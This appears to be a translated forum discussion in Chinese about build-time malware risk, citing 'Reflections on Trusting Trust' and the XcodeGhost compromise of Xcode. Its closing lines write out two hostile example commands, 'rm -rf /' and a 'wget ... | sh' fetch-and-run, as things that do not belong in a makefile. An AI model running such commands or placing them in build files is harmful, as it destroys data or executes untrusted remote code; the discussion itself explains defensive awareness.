不仅可以通过配置或制作脚本在编译时“安装”恶意代码,而且编译器或构建工具也可能被修改以将后门或其他恶意代码注入已编译的二进制文件中。也就是说,即使您正在构建的代码看起来很干净,构建工具可能会“失控”,引入恶意代码。这种恶意编译器的概念最初由一篇名为“Reflections on Trusting Trust”的论文提出。最近,在攻击开发人员的编译器(Xcode)时使用了这种技术向iOS应用程序中注入了恶意软件。要点:除非您编写或审核了正在构建的项目的每一行代码、用于构建它的工具以及正在构建它的操作系统/固件,否则您无法完全信任它。[1] https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf [2] http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/ 这篇文章介绍了一种新型恶意软件XcodeGhost,它修改了苹果开发工具Xcode,并感染了苹果iOS应用程序。随后,这些被感染的应用程序上架到了苹果应用商店。
考虑到makefile本质上只是一系列要运行的命令列表。例如,您可以在makefile项目中分发恶意软件源代码。然后,当您构建项目时,makefile会编译恶意软件...最后,在执行新编译的恶意软件时,例如假装对您认为不是恶意软件的单元测试进行运行。这是完全可能的。
rm -rf /
或wget some.weird.address | sh
(这不是真正的命令,但无论如何)显然不属于makefile。 - Linuxios